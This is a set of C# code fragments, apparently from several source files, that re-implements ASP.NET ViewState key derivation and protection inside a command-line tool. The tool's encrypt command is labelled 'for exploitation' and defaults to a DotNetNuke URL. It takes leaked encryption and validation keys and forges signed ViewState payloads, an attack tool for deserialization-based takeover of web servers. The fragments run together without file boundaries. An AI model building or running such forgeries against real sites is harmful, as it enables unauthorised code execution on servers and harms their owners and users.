// ctor for unit testing public Purpose(string primaryPurpose, string[] specificPurposes, CryptographicKey derivedEncryptionKey, CryptographicKey derivedValidationKey) { PrimaryPurpose = primaryPurpose; SpecificPurposes = specificPurposes ?? new string[0]; DerivedEncryptionKey = derivedEncryptionKey; DerivedValidationKey = derivedValidationKey; SaveDerivedKeys = (SpecificPurposes.Length == 0); }
public CryptographicKey GetDerivedValidationKey(IMasterKeyProvider masterKeyProvider, KeyDerivationFunction keyDerivationFunction) { // has a key already been stored? CryptographicKey actualDerivedKey = DerivedValidationKey; if (actualDerivedKey == null) { CryptographicKey masterKey = masterKeyProvider.GetValidationKey(); actualDerivedKey = keyDerivationFunction(masterKey, this); // only save the key back to storage if this Purpose is configured to do so if (SaveDerivedKeys) { DerivedValidationKey = actualDerivedKey; } } return(actualDerivedKey); }
// Implements the KeyDerivationFunction delegate signature; public entry point to the API. public static CryptographicKey DeriveKey(CryptographicKey keyDerivationKey, Purpose purpose) { // After consultation with the crypto board, we have decided to use HMACSHA512 as the PRF // to our KDF. The reason for this is that our PRF is an HMAC, so the total entropy of the // PRF is given by MIN(key derivation key length, HMAC block size). It is conceivable that // a developer might specify a key greater than 256 bits in length, at which point using // a shorter PRF like HMACSHA256 starts discarding entropy. But from the crypto team's // perspective it is unreasonable for a developer to supply a key greater than 512 bits, // so there's no real harm in us limiting our PRF entropy to 512 bits (HMACSHA512). // // On 64-bit platforms, HMACSHA512 matches or outperforms HMACSHA256 in our perf testing. // On 32-bit platforms, HMACSHA512 is around 1/3 the speed of HMACSHA256. In both cases, we // try to cache the derived CryptographicKey wherever we can, so this shouldn't be a // bottleneck regardless. using (HMACSHA512 hmac = CryptoAlgorithms.CreateHMACSHA512(keyDerivationKey.GetKeyMaterial())) { byte[] label, context; purpose.GetKeyDerivationParameters(out label, out context); byte[] derivedKey = DeriveKeyImpl(hmac, label, context, keyDerivationKey.KeyLength); return(new CryptographicKey(derivedKey)); } }
static int Main(string[] args) { Option[] opts = { new Option("--ek", "encryption key") { Argument = new Argument <string>() }, new Option("--vk", "validation key") { Argument = new Argument <string>() }, new Option("--msg", "base64 encoded message to encrypt/decrypt") { Argument = new Argument <string>() }, new Option("--alg", "encryption algorithm") { Argument = new Argument <string>(defaultValue: () => "3DES") }, new Option("--hash", "hashing algorithm") { Argument = new Argument <string>(defaultValue: () => "SHA1") }, new Option("--url", "public URL") { Argument = new Argument <string>(defaultValue: () => "/dnn/Default") }, }; var rootCmd = new RootCommand(); var encryptCmd = new Command("encrypt"); encryptCmd.Description = "encrypt a ViewState (for exploitation)"; Array.ForEach(opts, opt => encryptCmd.AddOption(opt)); rootCmd.AddCommand(encryptCmd); var decryptCmd = new Command("decrypt"); decryptCmd.Description = "decrypt a ViewState (verify keys / algs)"; Array.ForEach(opts, opt => decryptCmd.AddOption(opt)); rootCmd.AddCommand(decryptCmd); ICryptoService GetCrypto(string ek, string vk, string alg, string hash, string url) { string type = url.TrimStart('/').Replace('/', '_').ToUpper() + "_ASPX"; string dir = "/" + url.TrimStart('/').Split('/')[0].ToUpper(); Purpose purpose = new Purpose("WebForms.HiddenFieldPageStatePersister.ClientState", new string[] { "TemplateSourceDirectory: " + dir, "Type: " + type, } ); IMasterKeyProvider mkp = new FakeMasterKeyProvider(ek, vk); ICryptoAlgorithmFactory caf = new FakeCryptoAlgorithmFactory(alg, hash); CryptographicKey dek = purpose.GetDerivedEncryptionKey(mkp, SP800_108.DeriveKey); CryptographicKey dvk = purpose.GetDerivedValidationKey(mkp, SP800_108.DeriveKey); return(new NetFXCryptoService(caf, dek, dvk)); } void Encrypt(string ek, string vk, string msg, string alg, string hash, string url) { var cs = GetCrypto(ek, vk, alg, hash, url); byte[] payload = System.Convert.FromBase64String(msg); byte[] data = cs.Protect(payload); Console.WriteLine(System.Convert.ToBase64String(data)); } void Decrypt(string ek, string vk, string msg, string alg, string hash, string url) { var cs = GetCrypto(ek, vk, alg, hash, url); byte[] payload = System.Convert.FromBase64String(msg); byte[] data = cs.Unprotect(payload); Console.WriteLine(System.Text.Encoding.Default.GetString(data)); } encryptCmd.Handler = CommandHandler.Create <string, string, string, string, string, string>(Encrypt); decryptCmd.Handler = CommandHandler.Create <string, string, string, string, string, string>(Decrypt); return(rootCmd.InvokeAsync(args).Result); }
public NetFXCryptoService(ICryptoAlgorithmFactory cryptoAlgorithmFactory, CryptographicKey encryptionKey, CryptographicKey validationKey, bool predictableIV = false) { _cryptoAlgorithmFactory = cryptoAlgorithmFactory; _encryptionKey = encryptionKey; _validationKey = validationKey; _predictableIV = predictableIV; }